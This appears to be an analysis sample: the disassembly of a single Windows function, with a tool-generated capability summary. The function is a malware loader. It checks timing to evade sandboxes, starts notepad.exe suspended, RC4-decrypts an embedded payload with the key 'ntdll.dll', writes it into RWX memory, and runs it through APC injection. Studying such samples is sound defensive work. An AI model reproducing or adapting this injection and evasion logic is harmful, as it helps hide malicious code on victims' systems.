Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encrypt data using rc4 ksa
Inject apc
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x1f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
lea r14, str.ntdll.dll
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [r14 + rsi], 0
jne 0x1400010a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov edx, 6
lea rcx, str._i__Sleeping_for__d_seconds_n
mov edi, eax
call fcn.140001010
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov edx, eax
lea rcx, str._i__Sleep_ended:_end_t___ld_cycles_n
mov ebx, eax
call fcn.140001010
movsd xmm0, qword [0x140003330]
sub ebx, edi
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x140003338]
comisd xmm0, xmm1
jbe 0x140001151
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x210], rbp
lea rcx, str.total_time_taken_by_CPU:__f_n
movq rdx, xmm1
mov qword [rsp + 0x218], r15
call fcn.140001010
xor r15d, r15d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rbp, qword [rsp + 0x50]
xor edx, edx
mov rbx, qword [rsp + 0x58]
mov rcx, rbp
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x9922dc
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, r15d
lea rdx, [rsp + 0xe0]
mov rdi, rax
nop dword [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
inc ecx
cmp ecx, 0x100
jl 0x1400011f0
mov r8d, r15d
lea r10, [rsp + 0xe0]
mov r9d, r15d
nop
movzx r11d, byte [r10]
mov eax, r9d
cdq
idiv esi
movsxd rax, edx
movsx ecx, byte [rax + r14]
add r8d, ecx
add r8d, r11d
and r8d, 0x800000ff
jge 0x14000123e
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
inc r9d
movzx eax, byte [rsp + rcx + 0xe0]
mov byte [r10], al
inc r10
mov byte [rsp + rcx + 0xe0], r11b
cmp r9d, 0x100
jl 0x140001210
mov edx, r15d
lea rsi, [0x140005080]
mov r8d, r15d
mov r11, r15
inc edx
and edx, 0x800000ff
jge 0x140001287
dec edx
or edx, 0xffffff00
inc edx
movsxd r10, edx
movzx r9d, byte [rsp + r10 + 0xe0]
add r8d, r9d
and r8d, 0x800000ff
jge 0x1400012ac
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
movzx eax, byte [rsp + rcx + 0xe0]
mov byte [rsp + r10 + 0xe0], al
mov byte [rsp + rcx + 0xe0], r9b
movzx ecx, byte [rsp + r10 + 0xe0]
add rcx, r9
movzx eax, cl
movzx eax, byte [rsp + rax + 0xe0]
xor al, byte [r11 + rsi]
mov byte [rsp + r11 + 0x68], al
inc r11
cmp r11, 0x9922dc
jl 0x140001273
mov r9d, 0x9922dc
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x68]
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r15, qword [rsp + 0x218]
xor eax, eax
mov rbp, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140001370
mov rbx, qword [rsp + 0x220]
add rsp, 0x1f0
pop r14
pop rdi
pop rsi
ret